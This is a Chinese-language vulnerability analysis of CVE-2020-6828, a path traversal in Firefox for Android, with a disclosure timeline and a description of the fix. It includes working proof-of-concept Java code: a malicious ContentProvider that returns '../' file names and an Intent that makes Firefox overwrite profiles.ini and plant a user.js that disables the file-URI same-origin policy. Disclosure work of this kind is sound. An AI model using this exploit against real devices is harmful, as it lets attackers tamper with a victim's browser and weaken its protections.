CVE-2020-6828:Firefox for Android任意文件覆盖漏洞分析

VSole2022-08-15 08:20:32

2020年4月,Mozilla安全公告披露并修复了我在Firefox 68.5提交的一个漏洞,漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件,从而控制浏览器的任意配置项,如配置代理服务器,关闭同源策略等,造成等同与任意代码执行的危害。

漏洞原理

Firefox允许外部APP调用它打开Content URI。

<activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
                <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
                <category android:name="android.intent.category.APP_BROWSER"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="file"/>
                <data android:scheme="http"/>
                <data android:scheme="https"/>
                <data android:scheme="content"/>
                <data android:mimeType="text/html"/>
                <data android:mimeType="text/plain"/>
                <data android:mimeType="application/xhtml+xml"/>
                <data android:mimeType="image/svg+xml"/>
            </intent-filter>

如果传入的URI是Content URI,会调用org.mozilla.gecko.util.FileUtils.resolveContentUri。

            Intent parseUri = Intent.parseUri(string, 0);            if (FileUtils.isContentUri(string)) {
                String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData());                if (!TextUtils.isEmpty(resolveContentUri)) {
                    geckoBundle2.putString("uri", resolveContentUri);
                    geckoBundle2.putBoolean("isFallback", true);
                }
                eventCallback.sendError(geckoBundle2);                return;
            }

resolveContentUri会将Content URI转成File URI。

public static String resolveContentUri(Context context, Uri uri) {
        String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri);        if (TextUtils.isEmpty(originalFilePathFromUri)) {
            originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri);
        }        if (TextUtils.isEmpty(originalFilePathFromUri)) {            return originalFilePathFromUri;
        }        return String.format("file://%s", originalFilePathFromUri);
    }

重点看getTempFilePathFromContentUri,它调用了getFileNameFromContentUri来从ContentProvider中获取文件名,并将其和Cache目录拼接创建了一个文件,最后调用copy从ContentProvider中读取数据写入到该文件中。

    
public static String getTempFilePathFromContentUri(Context context, Uri uri) {
        String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri);
        File file = new File(context.getCacheDir(), "contentUri");        boolean mkdirs = !file.exists() ? file.mkdirs() : true;        if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) {            return null;
        }
        File file2 = new File(file.getPath(), fileNameFromContentUri);
        FileUtils.copy(context, uri, file2);        return file2.getAbsolutePath();
    }

再来看getFileNameFromContentUri,它直接从ContentProvider获取_display_name作为文件名返回,没有进行任何处理。

    
public static String getFileNameFromContentUri(final Context context, final Uri uri) {        final ContentResolver cr = context.getContentResolver();        final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
        String fileName = null;        try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) {            if (metaCursor.moveToFirst()) {
                fileName = metaCursor.getString(0);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }        return fileName;
    }

当恶意的ContentProvider返回的_display_name为../evil时,即可跳出Cache目录,导致任意文件覆盖。

如何利用

在Firefox的私有目录中有一个文件/data/data/org.mozilla.firefox/files/mozilla/profiles.ini,其中PATH为随机生成的用户目录。

[Profile0]Name=defaultDefault=1IsRelative=1Path=irgc212v.default[General]StartWithLastProfile=1

在用户目录发现了一个文件prefs.js,内容如下:

// Mozilla User Preferences// DO NOT EDIT THIS FILE.//// If you make changes to this file while the application is running,// the changes will be overwritten when the application exits.//// To change a preference value, you can either:// - modify it via the UI (e.g. via about:config in the browser); or// - set it within a user.js file in your profile.user_pref("android.not_a_preference.addons_active", "[\"webcompat@mozilla.org\",\"default-theme@mozilla.org\"]");
user_pref("android.not_a_preference.addons_disabled", "[]");
...

从文件的内容得知,可以在用户目录中写入一个user.js文件来修改浏览器的配置项。

创建一个恶意的ContentProvider并实现query和openFile方法。

    @Override
    public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) {
        Log.d(TAG, "query: "+ Arrays.toString(strings));
        String path = uri.getPath();        if (path.contains("user.js")) {
            File payload = new File(getContext().getExternalCacheDir(), "user.js");
            Log.d(TAG, "query: " + path);
            String[] columnNames = new String[]{"_display_name", "_size"};
            MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
            matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()});            return matrixCursor;
        } else if (path.contains("profiles.ini")) {
            File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");
            Log.d(TAG, "query: " + path);
            String[] columnNames = new String[]{"_display_name", "_size"};
            MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
            matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()});            return matrixCursor;
        }        return null;
    }    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        Log.d(TAG, "openFile: "+uri.toString());
        String path = uri.getPath();        if (path.contains("user.js")) {
            File payload = new File(getContext().getExternalCacheDir(), "user.js");            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
        } else if (path.contains("profiles.ini")) {
            File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
        }        return null;
    }

然后调用Firefox打开Content URI。

        Intent intent = new Intent();
        intent.setPackage("org.mozilla.firefox");
        intent.setAction(Intent.ACTION_VIEW);
        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*");
        startActivity(intent);        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*");
        startActivity(intent);

第一步,先覆盖/data/data/org.mozilla.firefox/files/mozilla/profiles.ini文件,将用户目录PATH修改为/data/data/org.mozilla.firefox/files/mozilla/。

[Profile0]Name=defaultDefault=1IsRelative=1Path=.[General]StartWithLastProfile=1

第二步,在/data/data/org.mozilla.firefox/files/mozilla/目录写入一个user.js文件,即可控制浏览器的任意配置项(具体配置可参见about:config),如写入以下内容就可以关闭File下的同源策略。

user_pref("security.fileuri.strict_origin_policy", false);

漏洞修复

Firefox 68.7在FileUtils新增了sanitizeFilename方法,通过File.getName来对文件名进行清洗,解决了目录遍历的问题。

时间线

  • 2020-02-25 – 漏洞提交
  • 2020-03-02 – 漏洞确认
  • 2020-03-16 – 漏洞修复&赏金发放
  • 2020-04-07 – 发布安全公告和漏洞编号
stringuri
本作品采用《CC 协议》,转载必须注明作者和本文链接
cobaltstrike4.5特征消除2修改了内置stage的配置,实现硬性特征消除修改部分payload,实现基本免杀修改checksum8 判等参数public static long checksum8 {. 修改随机生成算法写入方法,传值 public static void main {. 修改传值修改common/CommonUtils的public static String MSFURI {. string = "/" + pick + pick + pick + pick;
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。 简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
本文作者Betta,首发于火线Zone安全社区。
Resin解析漏洞分析
2021-10-30 06:26:47
前阵子看有师傅在公众号上发表了Resin解析漏洞分析,我们也知道有个常用的OA用的就是Resin,因此我认为了解它的漏洞是十分必要的。
在重要的生产网中,目标服务器无法外联,而遇到Apache Flink情况下如何写内存马,本文对这一有趣实践过程做了一个记录。但很可惜,笔者找了一圈,没有发现相关的静态变量,无法获取到该路由对象。本文主要围绕如何使用该方法实现 flink 内充马进行讲述。的限制,我们的 agent 需要先落地到系统中,而执行 loadAgent 这一操作的程序我们被称为 starter。
前段时间Confluence发布了CVE-2021-26085补丁,刚好之前分析过Confluence的漏洞,免去了搭建漏洞分析环境的麻烦,因此分析下这个漏洞。 分析过程 漏洞点定位 这个漏洞爆出来已经有一段时间了,所以已经有公开的POC了
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
2020年4月,Mozilla安全公告披露并修复了我在Firefox 68.5提交的一个漏洞,漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件,从而控制浏览器的任意配置项,如配置代理服务器,关闭同源策略等,造成等同与任意代码执行的危害。漏洞原理Firefox允许外部APP调用它打开Content URI
前言今天总结Android APP四大组件中Content Provider挖掘的知识,主要分为两个部分,一部分是对Android Content Provider内容提供器的原理总结,另一部分便是对Android provider机制常见的一些漏洞总结,包括一些已知的漏洞方法,和一部分案例实践。
对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。
VSole
网络安全专家